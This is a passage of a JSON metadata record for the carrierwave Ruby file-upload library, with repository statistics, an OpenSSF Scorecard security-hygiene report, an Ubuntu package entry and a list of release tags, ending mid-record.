{"id":585,"name":null,"description":"Classier solution for file uploads for Rails, Sinatra and other Ruby web frameworks","url":"https://github.com/carrierwaveuploader/carrierwave","last_synced_at":"2026-08-17T10:30:41.986Z","repository":{"id":426955,"uuid":"47087","full_name":"carrierwaveuploader/carrierwave","owner":"carrierwaveuploader","description":"Classier solution for file uploads for Rails, Sinatra and other Ruby web frameworks","archived":false,"fork":false,"pushed_at":"2026-06-22T13:57:00.000Z","size":5102,"stargazers_count":8781,"open_issues_count":68,"forks_count":1649,"subscribers_count":128,"default_branch":"master","last_synced_at":"2026-08-04T04:05:10.902Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://github.com/carrierwaveuploader/carrierwave","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/carrierwaveuploader.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2008-08-28T18:39:49.000Z","updated_at":"2026-07-28T18:06:49.000Z","dependencies_parsed_at":"2026-01-05T09:00:37.179Z","dependency_job_id":null,"html_url":"https://github.com/carrierwaveuploader/carrierwave","commit_stats":{"total_commits":2061,"total_committers":457,"mean_commits":"4.5098468271334795","dds":0.7472100921882581,"last_synced_commit":"f0620919d00dbd74d31e6b48f62346d6090e88f7"},"previous_names":["jnicklas/carrierwave"],"tags_count":88,"template":false,"template_full_name":null,"purl":"pkg:github/carrierwaveuploader/carrierwave","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/sbom","scorecard":{"id":266668,"data":{"date":"2025-08-11","repo":{"name":"github.com/carrierwaveuploader/carrierwave","commit":"a51a97071fec5cf4a0b693b8271dd4c59d6b80ab"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":2,"reason":"Found 6/21 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/test.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":0,"reason":"license file not detected","details":["Warn: project does not have a license file"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 15 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T12:15:17.296Z","repository_id":426955,"created_at":"2025-08-17T12:15:17.296Z","updated_at":"2025-08-17T12:15:17.296Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36320704,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-07-20T02:08:10.276Z","status":"online","status_checked_at":"2026-08-05T02:00:06.619Z","response_time":104,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"owner":{"login":"carrierwaveuploader","name":"CarrierWave","uuid":"3982589","kind":"organization","description":null,"email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/3982589?v=4","repositories_count":7,"last_synced_at":"2024-03-25T21:59:40.930Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/carrierwaveuploader","funding_links":[],"total_stars":9677,"followers":8,"following":0,"created_at":"2022-11-02T17:12:49.258Z","updated_at":"2024-03-25T21:59:42.171Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader/repositories"},"packages":[{"id":13750839,"name":"ruby-carrierwave","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/carrierwaveuploader/carrierwave","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/carrierwaveuploader/carrierwave","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-13T07:11:06.151Z","latest_release_published_at":"2026-02-13T07:11:06.151Z","latest_release_number":"1.3.1-2","last_synced_at":"2026-03-13T20:21:53.293Z","created_at":"2026-02-13T07:11:05.991Z","updated_at":"2026-08-07T04:18:20.428Z","registry_url":"https://launchpad.net/ubuntu/+source/ruby-carrierwave","install_command":"apt-get install ruby-carrierwave","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"ruby-carrierwave","standards_version":"4.3.0","maintainer":"Debian Ruby Extras Maintainers \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"cucumber, debhelper (\u003e= 11~), gem2deb, rake, rails (\u003e= 4.0~), ruby-activemodel, ruby-activerecord (\u003e= 2:4.0~), ruby-activesupport (\u003e= 2:4.0~), ruby-generator-spec (\u003e= 0.9.1~), ruby-mime-types (\u003e= 1.16~), ruby-mini-magick (\u003e= 3.6.0~), ruby-pg, ruby-rmagick, ruby-timecop, ruby-webmock, ruby-rspec (\u003e= 3.4~), ruby-fog-aws, ruby-fog-google (\u003e= 1.7.1~), ruby-fog-local, ruby-fog-rackspace, pry","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":426955,"uuid":"47087","full_name":"carrierwaveuploader/carrierwave","owner":"carrierwaveuploader","description":"Classier solution for file uploads for Rails, Sinatra and other Ruby web frameworks","archived":false,"fork":false,"pushed_at":"2026-06-22T13:57:00.000Z","size":5102,"stargazers_count":8781,"open_issues_count":68,"forks_count":1649,"subscribers_count":128,"default_branch":"master","last_synced_at":"2026-08-04T04:05:10.902Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://github.com/carrierwaveuploader/carrierwave","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/carrierwaveuploader.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2008-08-28T18:39:49.000Z","updated_at":"2026-07-28T18:06:49.000Z","dependencies_parsed_at":"2026-01-05T09:00:37.179Z","dependency_job_id":null,"html_url":"https://github.com/carrierwaveuploader/carrierwave","commit_stats":{"total_commits":2061,"total_committers":457,"mean_commits":"4.5098468271334795","dds":0.7472100921882581,"last_synced_commit":"f0620919d00dbd74d31e6b48f62346d6090e88f7"},"previous_names":["jnicklas/carrierwave"],"tags_count":88,"template":false,"template_full_name":null,"purl":"pkg:github/carrierwaveuploader/carrierwave","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/sbom","scorecard":{"id":266668,"data":{"date":"2025-08-11","repo":{"name":"github.com/carrierwaveuploader/carrierwave","commit":"a51a97071fec5cf4a0b693b8271dd4c59d6b80ab"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":2,"reason":"Found 6/21 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/test.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":0,"reason":"license file not detected","details":["Warn: project does not have a license file"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 15 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T12:15:17.296Z","repository_id":426955,"created_at":"2025-08-17T12:15:17.296Z","updated_at":"2025-08-17T12:15:17.296Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36320704,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-07-20T02:08:10.276Z","status":"online","status_checked_at":"2026-08-05T02:00:06.619Z","response_time":104,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"carrierwaveuploader","name":"CarrierWave","uuid":"3982589","kind":"organization","description":null,"email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/3982589?v=4","repositories_count":7,"last_synced_at":"2024-03-25T21:59:40.930Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/carrierwaveuploader","funding_links":[],"total_stars":9677,"followers":8,"following":0,"created_at":"2022-11-02T17:12:49.258Z","updated_at":"2024-03-25T21:59:42.171Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader/repositories"},"tags":[{"name":"v2.2.7","sha":"690c44b63592ba8ff5b423e2565c1f75338dd2e3","kind":"tag","published_at":"2026-05-23T05:39:48.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.7/manifests"},{"name":"v3.1.3","sha":"5effe4ecaae967c48d6d434f89eb71b8263dd4d4","kind":"tag","published_at":"2026-05-23T05:36:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.3/manifests"},{"name":"v3.1.2","sha":"8e5db8cb0b01b1d06b95d46fedf2e0c2a445a0e9","kind":"tag","published_at":"2025-04-13T06:02:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.2/manifests"},{"name":"v3.1.1","sha":"550e423fbd5cd45cac262e2c5d13bfe778be5093","kind":"tag","published_at":"2025-01-12T09:38:42.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"d85c9e6e1fc1a6b5dfadba34489f128c75b549ba","kind":"tag","published_at":"2024-12-14T08:54:06.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0/manifests"},{"name":"v3.1.0.rc","sha":"db7a7ebdd6abffa97c24abf7a52321f0ca3d5dd6","kind":"tag","published_at":"2024-12-07T05:11:18.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.rc/manifests"},{"name":"v3.1.0.beta","sha":"2e8bfc042ded9b51a8129ed41baf9283fd67aef6","kind":"tag","published_at":"2024-09-01T10:28:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.beta/manifests"},{"name":"v3.0.7","sha":"cf2f011774ff449b3107c422540610e698d3dc28","kind":"tag","published_at":"2024-03-23T08:16:52.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.7/manifests"},{"name":"v2.2.6","sha":"eb6359e79fee43d1c480b0f50d9a585b3c3b1c1c","kind":"tag","published_at":"2024-03-23T08:16:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.6/manifests"},{"name":"v3.0.6","sha":"a18e13c9a183a036758c6c9efed6608f17c9b919","kind":"tag","published_at":"2024-03-09T09:50:35.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.6/manifests"},{"name":"v2.2.5","sha":"0fcff94cebce07b856531d6502b11466e8331409","kind":"tag","published_at":"2023-11-29T04:42:53.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.5/manifests"},{"name":"v3.0.5","sha":"5316b352b6ed38595e99622eeb954a2cd0b1d5c2","kind":"tag","published_at":"2023-11-29T04:35:31.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.5/manifests